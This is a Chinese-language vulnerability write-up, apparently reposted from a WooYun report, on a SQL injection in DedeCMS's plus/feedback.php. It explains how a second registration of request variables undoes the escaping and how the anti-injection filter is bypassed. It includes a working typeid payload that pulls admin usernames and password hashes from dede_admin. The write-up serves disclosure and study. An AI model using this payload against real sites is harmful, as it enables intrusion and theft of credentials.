该漏洞是cyg07在乌云提交的, 漏洞文件: plus\feedback.php。
存在问题的代码:
02 | 
if($comtype == 'comments') | 
 
04 | 
        $arctitle = addslashes($title); | 
 
07 | 
            $inquery = "INSERT INTO `#@__feedback`(`aid`,`typeid`,`username`,`arctitle`,`ip`,`ischeck`,`dtime`, `mid`,`bad`,`good`,`ftype`,`face`,`msg`) | 
 
08 | 
                   VALUES ('$aid','$typeid','$username','$arctitle','$ip','$ischeck','$dtime', '{$cfg_ml->M_ID}','0','0','$feedbacktype','$face','$msg'); "; | 
 
10 | 
            $rs = $dsql->ExecuteNoneQuery($inquery); | 
 
13 | 
                ShowMsg(' 发表评论错误! ', '-1'); | 
 
20 | 
    elseif ($comtype == 'reply') | 
 
22 | 
        $row = $dsql->GetOne("SELECT * FROM `#@__feedback` WHERE id ='$fid'"); | 
 
23 | 
        $arctitle = $row['arctitle']; | 
 
25 | 
        $msg = $quotemsg.$msg; | 
 
26 | 
        $msg = HtmlReplace($msg, 2); | 
 
27 | 
        $inquery = "INSERT INTO `#@__feedback`(`aid`,`typeid`,`username`,`arctitle`,`ip`,`ischeck`,`dtime`,`mid`,`bad`,`good`,`ftype`,`face`,`msg`) | 
 
28 | 
                VALUES ('$aid','$typeid','$username','$arctitle','$ip','$ischeck','$dtime','{$cfg_ml->M_ID}','0','0','$feedbacktype','$face','$msg')"; | 
 
29 | 
        $dsql->ExecuteNoneQuery($inquery); | 
 
![]()
 
完整的输入语句,第二个参数 typeid可控。
1 | 
INSERT INTO `#@__feedback`(`aid`,`typeid`,`username`,`arctitle`,`ip`,`ischeck`,`dtime`, `mid`,`bad`,`good`,`ftype`,`face`,`msg`) VALUES ('108','2','游客','paxmac','127.0.0.1','1','1351774092', '0','0','0','feedback','0','nsfocus&&paxmac team'); | 
 
 
 
 
想要利用注入,就要先了解下dedecms的防御机制。
首先他对一切request进来的参数都会进行转义,具体看代码
![2.jpg]()
common.inc.php文件 会把所有的request进行处理。
01 | 
function _RunMagicQuotes(&$svar) | 
 
03 | 
    if(!get_magic_quotes_gpc()) | 
 
07 | 
            foreach($svar as $_k => $_v) $svar[$_k] = _RunMagicQuotes($_v); | 
 
11 | 
            if( strlen($svar)>0 && preg_match('#^(cfg_|GLOBALS|_GET|_POST|_COOKIE)#',$svar) ) | 
 
13 | 
              exit('Request var not allow!'); | 
 
15 | 
            $svar = addslashes($svar); | 
 
21 | 
foreach(Array('_GET','_POST','_COOKIE') as $_request) | 
 
23 | 
        foreach($$_request as $_k => $_v) | 
 
25 | 
            if($_k == 'nvarname') ${$_k} = $_v; | 
 
26 | 
            else ${$_k} = _RunMagicQuotes($_v); | 
 
 
 
 
从上面代码可以看到他对外来的提交进行了转义处理,但是在filter.ini.php文件中
01 | 
function _FilterAll($fk, &$svar) | 
 
03 | 
    global $cfg_notallowstr,$cfg_replacestr; | 
 
06 | 
        foreach($svar as $_k => $_v) | 
 
08 | 
            $svar[$_k] = _FilterAll($fk,$_v); | 
 
13 | 
        if($cfg_notallowstr!='' && preg_match("#".$cfg_notallowstr."#i", $svar)) | 
 
15 | 
            ShowMsg(" $fk has not allow words!",'-1'); | 
 
18 | 
        if($cfg_replacestr!='') | 
 
20 | 
            $svar = preg_replace('/'.$cfg_replacestr.'/i', "***", $svar); | 
 
27 | 
foreach(Array('_GET','_POST','_COOKIE') as $_request) | 
 
29 | 
    foreach($$_request as $_k => $_v) | 
 
31 | 
        ${$_k} = _FilterAll($_k,$_v); | 
 
 
 
 
上面是处理敏感词的代码,但是又对变量进行了注册,导致了变量二次覆盖漏洞。其实这漏洞很早前就存在,之前的是因为对提交的变量只检查一维数组的key,可以被绕过从而创建不允许的系统配置变量,dedecms历来的修改都让人摸不着头脑,修补的都是表面的东西,实质导致漏洞问题的原因不做修改。从这次的补丁看来,他就只加了一句判断$typeid是否为数字,对于80sec的防注入代码2次被绕过还继续无视。
所以在GPC=OFF的时候,被转义的变量又会被重新覆盖而变成正常代码。
Eg: typeid=2\’ 经过覆盖 typeid=2’
研究过上次dedecms SQL注入的问题的同学肯定了解他的防注入机制。这里做下简单的分析。他对于\到\之间的内容作为可信任,不对其进行检查。所以我们只要把想利用的代码放在’ ‘内就能躲过检查。利用Mysql的一个语法,他的值@`’`为空,下面来构造漏洞exp:
typeid=123′,@`’`,0×11111,1111,1,1351739660, 0,0,0,0,0,(SELECT concat(uname,0x5f,pwd,0x5f) FROM dede_admin)),(108,’1111
我用tamper data提交此参数,![]()
其实这里也利用了一个小bug
![]()
 
可以看到他的表结构,只有msg可以为null,但是利用代码中在username中用了null,这是非法的语句,单独插入是不会成功的,但是后面一句语句是成立的,insert (a,b) values (1,1),(2,2) (1,1,)非法 (2,2)符合条件的时候会成功同时插入2条语句。由于显示字符数量的问题,所以选择了msg字段作为输出。
![]()